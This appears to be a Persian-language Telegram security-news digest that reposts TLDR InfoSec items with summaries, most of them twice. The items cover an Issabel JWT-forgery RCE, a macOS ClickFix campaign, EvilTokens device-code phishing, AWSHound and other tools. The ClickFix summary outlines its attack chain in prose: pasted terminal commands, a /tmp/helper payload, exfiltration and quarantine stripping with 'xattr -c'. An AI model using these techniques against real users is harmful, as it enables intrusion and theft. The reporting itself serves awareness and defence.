این رویداد نشان دهنده اهمیت امنیت، رقابت و همکاری در جامعه متن‌باز و نقش آن در بهبود مداوم امنیت زیرساخت‌های فناوری است. همان‌طور که شرکت‌ها و توسعه‌دهندگان همواره در حال تلاش برای شناسایی و رفع نقاط ضعف هستند، این نوع چالش‌ها تاثیر مستقیمی در تقویت امنیت سیستم‌های پایه دارند و بهره‌مندی از این روند، به نفع تمامی کاربران است.
#امنیت_سیستم #کرنل_لینوکس #حفاظت_پایگاه_داده #چالش_امنیتی
🟣لینک مقاله:
https://www.securityweek.com/1-million-sandbox-challenge-uncovers-linux-kernel-flaws/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
SecurityWeek
$1 Million Sandbox Challenge Uncovers Linux Kernel Flaws
AI-assisted researchers flooded Vercel with reports, forcing the company to automate vulnerability triage.
🔵 عنوان مقاله
Attackers Exploit Issabel Framework Flaw Enabling Unauthenticated OS Command Execution (1 minute read)
🟢 خلاصه مقاله:
در دنیای فناوری امروز، امنیت سامانه‌های ارتباطی و مدیریتی اهمیت بسیار بالایی دارد. اخیراً، آسیب‌پذیری جدیدی در فریم‌ورک ایزابل کشف شده است که می‌تواند راه را برای حملات هکرها هموار کند. این آسیب‌پذیری، با شناسه CVE-2026-89026، به مهاجمان بدون نیاز به احراز هویت این امکان را می‌دهد که توکن‌های JWT جعلی بسازند و از طریق آن وارد سامانه شده و دستورات سیستم‌عامل را اجرا کنند.
این مشکل امنیتی، به‌شدت می‌تواند منجر به خسارات جدی در سرورها و سیستم‌های مدیریتی شود، زیرا مهاجمان قادر خواهند بود کنترل کامل سیستم را به دست گیرند. در نتیجه، شناخت و رفع سریع این آسیب‌پذیری اهمیت ویژه‌ای دارد تا از بهره‌برداری‌های مخرب و سوءاستفاده‌های احتمالی جلوگیری شود. تیم‌های امنیتی توصیه می‌کنند که کاربران در اسرع وقت اقدام به به‌روزرسانی فریم‌ورک و انجام اقدامات امنیتی لازم نمایند.
بنابراین، مدیران سیستم و توسعه‌دهندگان باید توجه ویژه‌ای به سیاست‌های امنیتی و کنترل‌های دسترسی خود داشته باشند تا از بروز چنین آسیب‌پذیری‌هایی جلوگیری کرده و سامانه‌هایشان را در برابر حملات محافظت کنند.
#امنیت_سایت #آسیب‌پذیری #فریم‌ورک_ایزابل #حفاظت سیستمی
🟣لینک مقاله:
https://thehackernews.com/2026/09/attackers-exploit-issabel-framework.html?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Attackers Exploit Issabel Framework Flaw Enabling Unauthenticated OS Command Execution (1 minute read)
🟢 خلاصه مقاله:
در دنیای فناوری امروز، امنیت سامانه‌های ارتباطی و مدیریتی اهمیت بسیار بالایی دارد. اخیراً، آسیب‌پذیری جدیدی در فریم‌ورک ایزابل کشف شده است که می‌تواند راه را برای حملات هکرها هموار کند. این آسیب‌پذیری، با شناسه CVE-2026-89026، به مهاجمان بدون نیاز به احراز هویت این امکان را می‌دهد که توکن‌های JWT جعلی بسازند و از طریق آن وارد سامانه شده و دستورات سیستم‌عامل را اجرا کنند.
این مشکل امنیتی، به‌شدت می‌تواند منجر به خسارات جدی در سرورها و سیستم‌های مدیریتی شود، زیرا مهاجمان قادر خواهند بود کنترل کامل سیستم را به دست گیرند. در نتیجه، شناخت و رفع سریع این آسیب‌پذیری اهمیت ویژه‌ای دارد تا از بهره‌برداری‌های مخرب و سوءاستفاده‌های احتمالی جلوگیری شود. تیم‌های امنیتی توصیه می‌کنند که کاربران در اسرع وقت اقدام به به‌روزرسانی فریم‌ورک و انجام اقدامات امنیتی لازم نمایند.
بنابراین، مدیران سیستم و توسعه‌دهندگان باید توجه ویژه‌ای به سیاست‌های امنیتی و کنترل‌های دسترسی خود داشته باشند تا از بروز چنین آسیب‌پذیری‌هایی جلوگیری کرده و سامانه‌هایشان را در برابر حملات محافظت کنند.
#امنیت_سایت #آسیب‌پذیری #فریم‌ورک_ایزابل #حفاظت سیستمی
🟣لینک مقاله:
https://thehackernews.com/2026/09/attackers-exploit-issabel-framework.html?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
🔵 عنوان مقاله
Build for the Agentic Internet at Cloudflare Connect 2026, Oct. 19-21 in San Francisco: (Sponsor)
🟢 خلاصه مقاله:
در کنفرانس Cloudflare Connect 2026 که از تاریخ ۱۹ تا ۲۱ مهر در سان فرانسیسکو برگزار می‌شود، فرصت بی‌نظیری برای آشنایی با آینده اینترنت فراهم می‌شود. این رویداد بزرگ شامل بیش از صد جلسه در قالب پنج مسیر مختلف است که توسط برترین سخنرانان دنیا ارائه خواهد شد. شرکت‌کنندگان در این کنفرانس می‌توانند در کارگاه‌های عملی و تعاملی شرکت کنند و با جدیدترین فناوری‌های هوش مصنوعی، امنیت شبکه و ارتباطات به روز آشنا شوند. هدف از این رویداد، ساخت اینترنتی فعال‌تر و کارآمدتر است که به توسعه فناوری‌های آینده کمک کند و راهکارهای عملی و کاربردی را در اختیار شرکت‌کنندگان قرار دهد.
این کنفرانس فرصت عالی است تا کارشناسان و علاقه‌مندان در حوزه فناوری، نوآوری‌های روز دنیا را کشف و تبادل نظر کنند. با حضور در این رویداد، می‌توانید از آموزش‌های تخصصی بهره‌مند شوید، شبکه‌سازی کنید و به صدر فناوری‌های نوین دست یابید. به همه توصیه می‌شود که هر چه زودتر ثبت‌نام کنید و این فرصت طلایی را از دست ندهید.
برای کسب اطلاعات بیشتر و ثبت‌نام، هم‌اکنون اقدام کنید و در مسیر ساخت یک اینترنت هوشمند و کارآمد نقش ایفا کنید.
#اینترنت_هوشمند #هوش_مصنوعی #امنیت_شبکه #فناوری
🟣لینک مقاله:
https://events.www.cloudflare.com/connect2026?utm_medium=display&utm_source=direct&utm_campaign=2026-q3-acq-namer-connectivity-ge-he-general-connect
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Build for the Agentic Internet at Cloudflare Connect 2026, Oct. 19-21 in San Francisco: (Sponsor)
🟢 خلاصه مقاله:
در کنفرانس Cloudflare Connect 2026 که از تاریخ ۱۹ تا ۲۱ مهر در سان فرانسیسکو برگزار می‌شود، فرصت بی‌نظیری برای آشنایی با آینده اینترنت فراهم می‌شود. این رویداد بزرگ شامل بیش از صد جلسه در قالب پنج مسیر مختلف است که توسط برترین سخنرانان دنیا ارائه خواهد شد. شرکت‌کنندگان در این کنفرانس می‌توانند در کارگاه‌های عملی و تعاملی شرکت کنند و با جدیدترین فناوری‌های هوش مصنوعی، امنیت شبکه و ارتباطات به روز آشنا شوند. هدف از این رویداد، ساخت اینترنتی فعال‌تر و کارآمدتر است که به توسعه فناوری‌های آینده کمک کند و راهکارهای عملی و کاربردی را در اختیار شرکت‌کنندگان قرار دهد.
این کنفرانس فرصت عالی است تا کارشناسان و علاقه‌مندان در حوزه فناوری، نوآوری‌های روز دنیا را کشف و تبادل نظر کنند. با حضور در این رویداد، می‌توانید از آموزش‌های تخصصی بهره‌مند شوید، شبکه‌سازی کنید و به صدر فناوری‌های نوین دست یابید. به همه توصیه می‌شود که هر چه زودتر ثبت‌نام کنید و این فرصت طلایی را از دست ندهید.
برای کسب اطلاعات بیشتر و ثبت‌نام، هم‌اکنون اقدام کنید و در مسیر ساخت یک اینترنت هوشمند و کارآمد نقش ایفا کنید.
#اینترنت_هوشمند #هوش_مصنوعی #امنیت_شبکه #فناوری
🟣لینک مقاله:
https://events.www.cloudflare.com/connect2026?utm_medium=display&utm_source=direct&utm_campaign=2026-q3-acq-namer-connectivity-ge-he-general-connect
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Cloudflare
Cloudflare Connect 2026
Connect, protect, build — together. Cloudflare Connect 2026 is heading to Moscone West, San Francisco, from October 19–22. Join thousands of technology leaders to master the evolving landscape of security, networking, and AI.
🔵 عنوان مقاله
Malicious Drivers (Web App)
🟢 خلاصه مقاله:
در دنیای فناوری، امنیت سیستم‌های کامپیوتری اهمیت بسیار بالایی دارد. یکی از چالش‌های اصلی، شناسایی و مقابله با درایورهای کرنل مخرب و سوءاستفاده‌گر است که ممکن است به شدت خطرناک باشند و امنیت سیستم‌های ما را تهدید کنند. در این راستا، فهرستی قابل جست‌وجو و جامع از درایورهای کرنل که برچسب‌خورده، امضا شده و مورد سوءاستفاده قرار گرفته‌اند، اهمیت ویژه‌ای پیدا می‌کند.
این ابزار به کاربران امکان می‌دهد تا درایورهای مخرب را سریع‌تر شناسایی و بررسی کنند و در صورت نیاز اقدامات لازم را اتخاذ نمایند. با داشتن چنین فهرستی، مدیران شبکه و متخصصان امنیت می‌توانند خطرات احتمالی را بهتر ارزیابی و از بروز حملات سایبری جلوگیری کنند. این اطلاعات، بخش مهمی از فرآیند حفاظت و نگهداری امنیت سیستم‌های کامپیوتری است و نقش پررنگی در جهت بهبود امنیت شبکه‌ها و سیستم‌های عملیاتی ایفا می‌کند.
در نتیجه، استفاده از این نوع ابزارها و فهرست‌های تخصصی، جزو بهترین روش‌ها برای مقابله با تهدیدهای سایبری است که می‌تواند خسارات مالی و اطلاعاتی بسیاری را کاهش دهد و سلامت کلی سیستم‌های فناوری اطلاعات را تضمین کند.
#امنیت_سایبری #درایورهای_مخرب #حفاظت_سیستم #امنیت_شبکه
🟣لینک مقاله:
https://www.mahmoudzohdy.com/drivers/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Malicious Drivers (Web App)
🟢 خلاصه مقاله:
در دنیای فناوری، امنیت سیستم‌های کامپیوتری اهمیت بسیار بالایی دارد. یکی از چالش‌های اصلی، شناسایی و مقابله با درایورهای کرنل مخرب و سوءاستفاده‌گر است که ممکن است به شدت خطرناک باشند و امنیت سیستم‌های ما را تهدید کنند. در این راستا، فهرستی قابل جست‌وجو و جامع از درایورهای کرنل که برچسب‌خورده، امضا شده و مورد سوءاستفاده قرار گرفته‌اند، اهمیت ویژه‌ای پیدا می‌کند.
این ابزار به کاربران امکان می‌دهد تا درایورهای مخرب را سریع‌تر شناسایی و بررسی کنند و در صورت نیاز اقدامات لازم را اتخاذ نمایند. با داشتن چنین فهرستی، مدیران شبکه و متخصصان امنیت می‌توانند خطرات احتمالی را بهتر ارزیابی و از بروز حملات سایبری جلوگیری کنند. این اطلاعات، بخش مهمی از فرآیند حفاظت و نگهداری امنیت سیستم‌های کامپیوتری است و نقش پررنگی در جهت بهبود امنیت شبکه‌ها و سیستم‌های عملیاتی ایفا می‌کند.
در نتیجه، استفاده از این نوع ابزارها و فهرست‌های تخصصی، جزو بهترین روش‌ها برای مقابله با تهدیدهای سایبری است که می‌تواند خسارات مالی و اطلاعاتی بسیاری را کاهش دهد و سلامت کلی سیستم‌های فناوری اطلاعات را تضمین کند.
#امنیت_سایبری #درایورهای_مخرب #حفاظت_سیستم #امنیت_شبکه
🟣لینک مقاله:
https://www.mahmoudzohdy.com/drivers/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Mahmoudzohdy
Malicious drivers · Mahmoud Zohdy
Tracked signed and abused kernel drivers with hashes, signers, and analysis notes.
🔵 عنوان مقاله
Cato CTRL Insights: When Trust Becomes the Payload in a Fake Codex ClickFix Campaign (8 minute read)
🟢 خلاصه مقاله:
در این تحلیل از Cato CTRL، به موضوع حساس و پیچیده‌ای پرداخته شده است که چگونه اعتماد کاربران در حمله‌های سایبری نقش محوری پیدا می‌کند. در حملاتی که تحت عنوان حملات "ClickFix" برگزار می‌شوند، فرماندهان تهدید با ساخت صفحات جعلی و فریبنده، کاربران macOS را به سایت‌های مخرب هدایت می‌کنند. این صفحات که از طریق جستجوهای مخرب در سایت‌های کدس ساخته شده‌اند، از طریق فریم‌های درون‌صفحه‌ای کنترل‌شده توسط مهاجم، کاربر را فریب می‌دهند و او را وادار می‌کنند تا بر روی لینک‌های مخرب کلیک کند.
در این فرآیند، مهاجمان از نصاب‌های تقلبی استفاده می‌کنند که کپی دستورهای ترمینال حاوی لینک‌های رمزگشایی شده، بارگیری‌کننده‌های shell و اجرای payloadهای Mach-O را انجام می‌دهند. این payloadها که در مسیر "/tmp/helper" قرار دارند، پس از اجرا، عملیات‌های مخرب و جاسوسی روی سیستم هدف انجام می‌دهند. حمله با ارسال اطلاعات تماس، شامل رویدادهای کپ شده و داده‌های telemetry، به سرورهای مخرب ادامه می‌یابد. علاوه بر این، مهاجمان با پاک کردن ویژگی‌های قرنطینه‌ای فایل‌ها به کمک دستور "xattr -c"، تلاش می‌کنند هزینه‌های کشف و تحلیل را کاهش دهند و ردپای فعالیت‌های مخرب خود را محو کنند.
نکته قابل توجه در این نوع حملات، همپوشانی فعالیت‌های مخرب با سیستم‌هایی مانند AMOS است، که نشان‌دهنده‌ی تداوم و پیچیدگی در راهکارهای مخرب است. این حملات نشان می‌دهد که اعتماد کاربران، در کنار ضعف‌های امنیتی، نقش کلیدی در موفقیت یا شکست این نوع نفوذهای سایبری دارد و اهمیت توجه به حیطه امنیت سایبری را دو چندان می‌کند.
#امنیت_سایبری #حملات_فیشینگ #خودکارسازی_امنیت #امنیت_مقابل_تهدیدات
🟣لینک مقاله:
https://www.catonetworks.com/blog/cato-ctrl-when-trust-becomes-payload-in-fake-codex-clickfix-campaign/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Cato CTRL Insights: When Trust Becomes the Payload in a Fake Codex ClickFix Campaign (8 minute read)
🟢 خلاصه مقاله:
در این تحلیل از Cato CTRL، به موضوع حساس و پیچیده‌ای پرداخته شده است که چگونه اعتماد کاربران در حمله‌های سایبری نقش محوری پیدا می‌کند. در حملاتی که تحت عنوان حملات "ClickFix" برگزار می‌شوند، فرماندهان تهدید با ساخت صفحات جعلی و فریبنده، کاربران macOS را به سایت‌های مخرب هدایت می‌کنند. این صفحات که از طریق جستجوهای مخرب در سایت‌های کدس ساخته شده‌اند، از طریق فریم‌های درون‌صفحه‌ای کنترل‌شده توسط مهاجم، کاربر را فریب می‌دهند و او را وادار می‌کنند تا بر روی لینک‌های مخرب کلیک کند.
در این فرآیند، مهاجمان از نصاب‌های تقلبی استفاده می‌کنند که کپی دستورهای ترمینال حاوی لینک‌های رمزگشایی شده، بارگیری‌کننده‌های shell و اجرای payloadهای Mach-O را انجام می‌دهند. این payloadها که در مسیر "/tmp/helper" قرار دارند، پس از اجرا، عملیات‌های مخرب و جاسوسی روی سیستم هدف انجام می‌دهند. حمله با ارسال اطلاعات تماس، شامل رویدادهای کپ شده و داده‌های telemetry، به سرورهای مخرب ادامه می‌یابد. علاوه بر این، مهاجمان با پاک کردن ویژگی‌های قرنطینه‌ای فایل‌ها به کمک دستور "xattr -c"، تلاش می‌کنند هزینه‌های کشف و تحلیل را کاهش دهند و ردپای فعالیت‌های مخرب خود را محو کنند.
نکته قابل توجه در این نوع حملات، همپوشانی فعالیت‌های مخرب با سیستم‌هایی مانند AMOS است، که نشان‌دهنده‌ی تداوم و پیچیدگی در راهکارهای مخرب است. این حملات نشان می‌دهد که اعتماد کاربران، در کنار ضعف‌های امنیتی، نقش کلیدی در موفقیت یا شکست این نوع نفوذهای سایبری دارد و اهمیت توجه به حیطه امنیت سایبری را دو چندان می‌کند.
#امنیت_سایبری #حملات_فیشینگ #خودکارسازی_امنیت #امنیت_مقابل_تهدیدات
🟣لینک مقاله:
https://www.catonetworks.com/blog/cato-ctrl-when-trust-becomes-payload-in-fake-codex-clickfix-campaign/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
🔵 عنوان مقاله
AWSHound: An OpenSource AWS OpenGraph Collector (20 minute read)
🟢 خلاصه مقاله:
AWSHound یک جمع‌آورنده متن‌باز و قابل‌استفاده در سرورهای شخصی است که به ویژه برای نقشه‌برداری از محیط‌های AWS طراحی شده است. این ابزار، داده‌های OpenGraph مربوط به محیط‌های AWS را جمع‌آوری کرده و آنها را به قالب‌های مورد نیاز BloodHound تبدیل می‌کند تا بتوان نقشه مسیرهای حمله در زیرساخت‌های ابری را به‌سادگی مشاهده و تحلیل کرد. بر خلاف ابزارهای موجود در زمینه نقشه‌برداری، AWSHound با انجام ارزیابی‌های دقیق و آفلاین بر سیاست‌های IAM، روابط و مجوزهای محیط AWS را به‌صورت امن و مطمئن بررسی می‌کند. این ارزیابی‌ها با قطع رابطه بین سیاست‌های هویتی و محدودیت‌های مجوز و SCPها انجام می‌شود تا تنها جایی روابط برقرار شوند که مجوزهای مشخص و واقعی منجر به اجازه‌ی صریح شوند.
این ابزار به‌طور امن از زنجیره‌های اعتبار استاندارد AWS SDK استفاده کرده و در حین عملیات، امنیت و صحت داده‌ها را تضمین می‌کند. در آزمون‌های عملی، AWSHound نشان داده است که می‌تواند در حجم بسیار بالا، داده‌های مربوط به محیط‌های بزرگ AWS را جمع‌آوری و تحلیل کند، به‌گونه‌ای که امکان بررسی دقیق مسیرهای حمله در ساختارهای پیچیده و متنوع را فراهم می‌آورد. این ویژگی‌ها آن را به ابزاری قدرتمند برای مدیران و تحلیل‌گران امنیت سایبری بدل کرده است تا امنیت فضای ابری خود را تضمین و آسیب‌پذیری‌های احتمالی را به‌درستی شناسایی کنند.
#امنیت_ابری #AWS #تحلیل_حملات #سامانه‌های_باز
🟣لینک مقاله:
https://specterops.io/blog/2026/08/19/awshound-opensource-aws-opengraph-collector/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
AWSHound: An OpenSource AWS OpenGraph Collector (20 minute read)
🟢 خلاصه مقاله:
AWSHound یک جمع‌آورنده متن‌باز و قابل‌استفاده در سرورهای شخصی است که به ویژه برای نقشه‌برداری از محیط‌های AWS طراحی شده است. این ابزار، داده‌های OpenGraph مربوط به محیط‌های AWS را جمع‌آوری کرده و آنها را به قالب‌های مورد نیاز BloodHound تبدیل می‌کند تا بتوان نقشه مسیرهای حمله در زیرساخت‌های ابری را به‌سادگی مشاهده و تحلیل کرد. بر خلاف ابزارهای موجود در زمینه نقشه‌برداری، AWSHound با انجام ارزیابی‌های دقیق و آفلاین بر سیاست‌های IAM، روابط و مجوزهای محیط AWS را به‌صورت امن و مطمئن بررسی می‌کند. این ارزیابی‌ها با قطع رابطه بین سیاست‌های هویتی و محدودیت‌های مجوز و SCPها انجام می‌شود تا تنها جایی روابط برقرار شوند که مجوزهای مشخص و واقعی منجر به اجازه‌ی صریح شوند.
این ابزار به‌طور امن از زنجیره‌های اعتبار استاندارد AWS SDK استفاده کرده و در حین عملیات، امنیت و صحت داده‌ها را تضمین می‌کند. در آزمون‌های عملی، AWSHound نشان داده است که می‌تواند در حجم بسیار بالا، داده‌های مربوط به محیط‌های بزرگ AWS را جمع‌آوری و تحلیل کند، به‌گونه‌ای که امکان بررسی دقیق مسیرهای حمله در ساختارهای پیچیده و متنوع را فراهم می‌آورد. این ویژگی‌ها آن را به ابزاری قدرتمند برای مدیران و تحلیل‌گران امنیت سایبری بدل کرده است تا امنیت فضای ابری خود را تضمین و آسیب‌پذیری‌های احتمالی را به‌درستی شناسایی کنند.
#امنیت_ابری #AWS #تحلیل_حملات #سامانه‌های_باز
🟣لینک مقاله:
https://specterops.io/blog/2026/08/19/awshound-opensource-aws-opengraph-collector/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
SpecterOps
AWSHound: An OpenSource AWS OpenGraph Collector
See how AWSHound maps AWS attack paths into BloodHound, evaluating IAM policies, SCPs, and boundaries to reveal real privilege escalation.
🔵 عنوان مقاله
Microsoft disrupts AI-assisted platform that compromised 12,000 accounts (3 minute read)
🟢 خلاصه مقاله:
در جریان فعالیت‌های اخیر، شرکت مایکروسافت موفق شد یک شبکه خرابکارانه مبتنی بر فناوری هوش مصنوعی را متوقف کند که به وسیله آن بیش از ۱۲ هزار حساب کاربری در سرتاسر ده هزار سازمان نفوذ شده بود. این عملیات بزرگ بر پایه استفاده از سرویس اشتراک EvilTokens که در تلگرام به فروش می‌رسید، انجام شد. این سرویس با پرداخت مبلغ اولیه ۱,۵۰۰ دلار و هزینه ماهانه ۵۰۰ دلار، از طریق سوءاستفاده از قابلیت‌های احراز هویت با کد دستگاه در مایکروسافت Entra، اقدام به هک حساب‌ها می‌نمود.
این خرابکاران، با سوءاستفاده از این آسیب‌پذیری، توانستند به تعداد زیادی از حساب‌ها نفوذ کنند و در نهایت، گروهی متشکل از دو نفر توسط پلیس مت‌پولیس انگلستان دستگیر شدند. در ادامه، مایکروسافت در یک عملیات مشترک، موفق شد این شبکه مخرب را شناسایی و ۵۰ وب‌سایت و ۱۵۰ دامنه مرتبط با آن را مسدود کند.
یکی از ابزارهای مهم این شبکه، چت‌بات هوشمند مبتنی بر هوش مصنوعی بود که توانایی تحلیل هزاران ایمیل هک شده را داشت. به کمک این فناوری، هکرها توانستند تشخیص دهند چه کسانی حق تایید پرداخت‌ها را دارند، به چه کسانی گزارش می‌دهند و چه روش‌هایی برای فریب و جعل هویت به منظور انتقال پول به حساب‌های حمله‌کنندگان استفاده می‌شود. این اقدامات نشان می‌دهد که چگونه فناوری‌های نوین می‌توانند هم در خدمت مجرمان و هم در مقابل آنها قرار گیرند، و اهمیت یادگیری و تقویت امنیت سایبری هر روز بیشتر روشن می‌شود.
#امنیت_سایبری #هوش_مصنوعی #مایکروسافت #حملات_سایبری
🟣لینک مقاله:
https://arstechnica.com/security/2026/09/microsoft-disrupts-ai-assisted-platform-that-compromised-12000/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Microsoft disrupts AI-assisted platform that compromised 12,000 accounts (3 minute read)
🟢 خلاصه مقاله:
در جریان فعالیت‌های اخیر، شرکت مایکروسافت موفق شد یک شبکه خرابکارانه مبتنی بر فناوری هوش مصنوعی را متوقف کند که به وسیله آن بیش از ۱۲ هزار حساب کاربری در سرتاسر ده هزار سازمان نفوذ شده بود. این عملیات بزرگ بر پایه استفاده از سرویس اشتراک EvilTokens که در تلگرام به فروش می‌رسید، انجام شد. این سرویس با پرداخت مبلغ اولیه ۱,۵۰۰ دلار و هزینه ماهانه ۵۰۰ دلار، از طریق سوءاستفاده از قابلیت‌های احراز هویت با کد دستگاه در مایکروسافت Entra، اقدام به هک حساب‌ها می‌نمود.
این خرابکاران، با سوءاستفاده از این آسیب‌پذیری، توانستند به تعداد زیادی از حساب‌ها نفوذ کنند و در نهایت، گروهی متشکل از دو نفر توسط پلیس مت‌پولیس انگلستان دستگیر شدند. در ادامه، مایکروسافت در یک عملیات مشترک، موفق شد این شبکه مخرب را شناسایی و ۵۰ وب‌سایت و ۱۵۰ دامنه مرتبط با آن را مسدود کند.
یکی از ابزارهای مهم این شبکه، چت‌بات هوشمند مبتنی بر هوش مصنوعی بود که توانایی تحلیل هزاران ایمیل هک شده را داشت. به کمک این فناوری، هکرها توانستند تشخیص دهند چه کسانی حق تایید پرداخت‌ها را دارند، به چه کسانی گزارش می‌دهند و چه روش‌هایی برای فریب و جعل هویت به منظور انتقال پول به حساب‌های حمله‌کنندگان استفاده می‌شود. این اقدامات نشان می‌دهد که چگونه فناوری‌های نوین می‌توانند هم در خدمت مجرمان و هم در مقابل آنها قرار گیرند، و اهمیت یادگیری و تقویت امنیت سایبری هر روز بیشتر روشن می‌شود.
#امنیت_سایبری #هوش_مصنوعی #مایکروسافت #حملات_سایبری
🟣لینک مقاله:
https://arstechnica.com/security/2026/09/microsoft-disrupts-ai-assisted-platform-that-compromised-12000/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Ars Technica
Microsoft disrupts AI-assisted platform that compromised 12,000 accounts
EvilTokens provided an end-to-end platform that makes mass compromises faster and easier.
🔵 عنوان مقاله
req2proto (GitHub Repo)
🟢 خلاصه مقاله:
در پروژه req2proto، هدف اصلی این است که با بررسی پیام‌های خطای بازگردانده‌شده هنگام ارسال Payloadهای پروتوباف به صورت protojson، بتوان تعاریف داخلی پروتوباف گوگل را معکوس‌سازی و تدوین کرد. این پروژه به دنبال تحلیل و درک ساختارهای نهان و جزئیات این تعاریف است که معمولا در اسناد رسمی یا مستندات عمومی در دسترس نیستند. با این روش، توسعه‌دهندگان و محققان می‌توانند به درک عمیق‌تری از نحوه عملکرد و ساختار داده‌های پروتوباف در زیرساخت‌های داخلی گوگل دست پیدا کنند و در پروژه‌های امنیتی، بررسی آسیب‌پذیری‌ها یا توسعه ابزارهای تخصصی کاربردی‌تر عمل نمایند.
این کار از طریق تحلیل پیام‌های خطا که سرآغاز در قالب پاسخ سرور ظاهر می‌شود، فرصت بی‌نظیری برای درک سازماندهی داده‌ها فراهم می‌آورد. در واقع، هر خطا که هنگام تماس با سرور دریافت می‌شود، اطلاعات عمیقی درباره نوع، ساختار، و احتمالا نسخه یا تغییرات در ساخته‌های پروتوباف ارائه می‌دهد. این روش یک راهکار نوآورانه و کارآمد برای نفوذ و تحلیل داخلی ساختارهای بسته و مستند نشده است، که با تمرکز بر استنتاج ساختارهای داده، می‌تواند منابع مهمی برای محققان و توسعه‌دهندگان باشد.
در نهایت، پروژه req2proto به عنوان یک ابزار تحقیقاتی و توسعه‌ای، پلی میان عمق مخفی اسناد داخلی و نیازهای کاربردی در صنعت فناوری است، که می‌تواند به بهبود درک و توسعه ابزارهای مبتنی بر پروتوباف کمک شایانی کند.
#پروتوباف #تحلیل_امنیتی #کد_باز #توسعه‌دهندگان
🟣لینک مقاله:
https://github.com/ddd/req2proto?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
req2proto (GitHub Repo)
🟢 خلاصه مقاله:
در پروژه req2proto، هدف اصلی این است که با بررسی پیام‌های خطای بازگردانده‌شده هنگام ارسال Payloadهای پروتوباف به صورت protojson، بتوان تعاریف داخلی پروتوباف گوگل را معکوس‌سازی و تدوین کرد. این پروژه به دنبال تحلیل و درک ساختارهای نهان و جزئیات این تعاریف است که معمولا در اسناد رسمی یا مستندات عمومی در دسترس نیستند. با این روش، توسعه‌دهندگان و محققان می‌توانند به درک عمیق‌تری از نحوه عملکرد و ساختار داده‌های پروتوباف در زیرساخت‌های داخلی گوگل دست پیدا کنند و در پروژه‌های امنیتی، بررسی آسیب‌پذیری‌ها یا توسعه ابزارهای تخصصی کاربردی‌تر عمل نمایند.
این کار از طریق تحلیل پیام‌های خطا که سرآغاز در قالب پاسخ سرور ظاهر می‌شود، فرصت بی‌نظیری برای درک سازماندهی داده‌ها فراهم می‌آورد. در واقع، هر خطا که هنگام تماس با سرور دریافت می‌شود، اطلاعات عمیقی درباره نوع، ساختار، و احتمالا نسخه یا تغییرات در ساخته‌های پروتوباف ارائه می‌دهد. این روش یک راهکار نوآورانه و کارآمد برای نفوذ و تحلیل داخلی ساختارهای بسته و مستند نشده است، که با تمرکز بر استنتاج ساختارهای داده، می‌تواند منابع مهمی برای محققان و توسعه‌دهندگان باشد.
در نهایت، پروژه req2proto به عنوان یک ابزار تحقیقاتی و توسعه‌ای، پلی میان عمق مخفی اسناد داخلی و نیازهای کاربردی در صنعت فناوری است، که می‌تواند به بهبود درک و توسعه ابزارهای مبتنی بر پروتوباف کمک شایانی کند.
#پروتوباف #تحلیل_امنیتی #کد_باز #توسعه‌دهندگان
🟣لینک مقاله:
https://github.com/ddd/req2proto?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
GitHub
GitHub - ddd/req2proto: Tool for reversing Google internal protobuf definitions
Tool for reversing Google internal protobuf definitions - ddd/req2proto
🔵 عنوان مقاله
Keep GRC aligned as AI scales (Sponsor)
🟢 خلاصه مقاله:
در دنیای امروز، هوش مصنوعی در حال گسترش در فضای ابری و سیستم‌های عاملی است که بیشتر از همیشه نقش موثری در بهبود کارایی و اتوماسیون دارند. اما همزمان با رونق این تکنولوژی، نگرانی‌هایی درباره ریسک‌ها و چالش‌های جدیدی که ممکن است در مسیر امنیت و حاکمیت فناوری ظاهر شوند، ایجاد شده است. این سیستم‌های هوشمند می‌توانند خطراتی در زمینه هویت، داده‌ها و فرآیندهای کاری به وجود آورند که نیازمند نظارت و کنترل دقیقی هستند.
در این نسخه دموی درخواستی، به بررسی نحوه مدیریت هویت و کنترل دسترسی، حفاظت از داده‌های حساس و استراتژی‌های مدرن شناسایی تهدیدات پرداخته می‌شود. هدف از این معرفی، ارائه راهکارهایی موثر برای تقویت حاکمیت فناوری در طول چرخه عمر هوش مصنوعی است. با تماشای این دموی امنیتی، می‌توانید با روش‌های پیشرفته در مقابله با چالش‌های امنیتی آشنا شوید و راهکارهای عملی برای نگهداری ایمنی و اعتماد در فضای فناوری‌های نوظهور پیدا کنید.
با این منابع، می‌توانید مطمئن باشید که فناوری‌های هوشمند شما در مسیر بهبود و توسعه، بدون نگرانی از مخاطرات احتمالی، به خوبی مدیریت می‌شوند.
#امنیت_سایبری #حاکمیت_هوشمند #مدیریت_داده #هوش_مصنوعی
🟣لینک مقاله:
https://pages.awscloud.com/awsmp-gim-i0v9-webinar-sec-grc-security-lab-grc-security-lab.html?trk=351a7c3a-1186-4574-a8eb-5f5b9837c220&sc_channel=el&sp=nFMGRaR8uj1TlEzCEnXN2VGr
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Keep GRC aligned as AI scales (Sponsor)
🟢 خلاصه مقاله:
در دنیای امروز، هوش مصنوعی در حال گسترش در فضای ابری و سیستم‌های عاملی است که بیشتر از همیشه نقش موثری در بهبود کارایی و اتوماسیون دارند. اما همزمان با رونق این تکنولوژی، نگرانی‌هایی درباره ریسک‌ها و چالش‌های جدیدی که ممکن است در مسیر امنیت و حاکمیت فناوری ظاهر شوند، ایجاد شده است. این سیستم‌های هوشمند می‌توانند خطراتی در زمینه هویت، داده‌ها و فرآیندهای کاری به وجود آورند که نیازمند نظارت و کنترل دقیقی هستند.
